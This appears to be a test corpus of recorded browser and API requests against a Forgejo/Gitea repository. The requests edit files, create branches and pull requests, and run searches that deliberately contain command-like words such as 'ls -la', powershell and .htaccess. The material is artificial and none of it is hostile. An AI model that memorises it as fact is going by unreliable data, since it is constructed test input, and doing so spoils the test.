{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 335", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A++++restart%3A+always&commit_summary=Restart+the+web+service&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 251", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docs%2Fsetup.md&content=%23+Setup&commit_summary=Add+setup+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=powershell-setup-notes&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 195", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&commit_summary=Drop+the+old+setup+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
|
|
||||||
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
|
|
||||||
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=b69a66a389d3a15c29f4cadf8d92662b97edefc4&page_has_posted=&tree_path=.htaccess&content=Options+-Indexes%0D%0A%23+No+directory+listings%0D%0A&commit_summary=Update+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=af80d9f64107082ff52b6aae5a10828742fe01c2&page_has_posted=&tree_path=scripts%2Finstall-script.sh&content=echo+Installing+the+tools.%0D%0Aecho+Done.%0D%0A&commit_summary=Update+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhkq69WdAprWrxB7m", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryhkq69WdAprWrxB7m\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryhkq69WdAprWrxB7m--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=docs&files=d730c135-cc1c-49b7-a402-d237c0828939&files_fullpath%5Bd730c135-cc1c-49b7-a402-d237c0828939%5D=release-notes.txt&commit_summary=Upload+the+release+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPZVdfDJ4Whs72TTk", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryPZVdfDJ4Whs72TTk\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryPZVdfDJ4Whs72TTk--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 291", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=scripts%2Fpowershell&files=4eb22017-b621-4063-b0a9-ce7cdf5e0853&files_fullpath%5B4eb22017-b621-4063-b0a9-ce7cdf5e0853%5D=build.ps1&commit_summary=Add+a+PowerShell+build+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=fix-powershell-module&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 222", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=update-powershell-docs&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 97", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "HX-Current-URL: http://example.com/alice/tools/_edit/main/docs/setup.md", "Content-Type: application/x-www-form-urlencoded", "HX-Request: true", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "context=%2Falice%2Ftools%2Fsrc%2Fbranch%2Fmain&content=%23%20Setup%0A%0AInstall%20the%20tools.%0A"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
|
|
||||||
-453
@@ -681,456 +681,3 @@
|
|||||||
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
||||||
# The searches of the pages gitea and Forgejo share, with the fields their
|
|
||||||
# forms send, sent to Forgejo 17.0.1 with an ordinary Chrome's headers. Each
|
|
||||||
# searches for words that name commands and files, such as python3 and
|
|
||||||
# .htaccess, and for plain words. A tag or package name can hold a slash, so the
|
|
||||||
# tags and packages pages also search for /bin/sh. The packages pages also
|
|
||||||
# search for a Maven name. The issues and pull requests of one team, and those
|
|
||||||
# of one milestone, are also searched for SQL. Each search of a package's
|
|
||||||
# versions is sent for a generic package and for the npm package
|
|
||||||
# @alice/tools-cli, whose name holds a slash.
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=python3&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
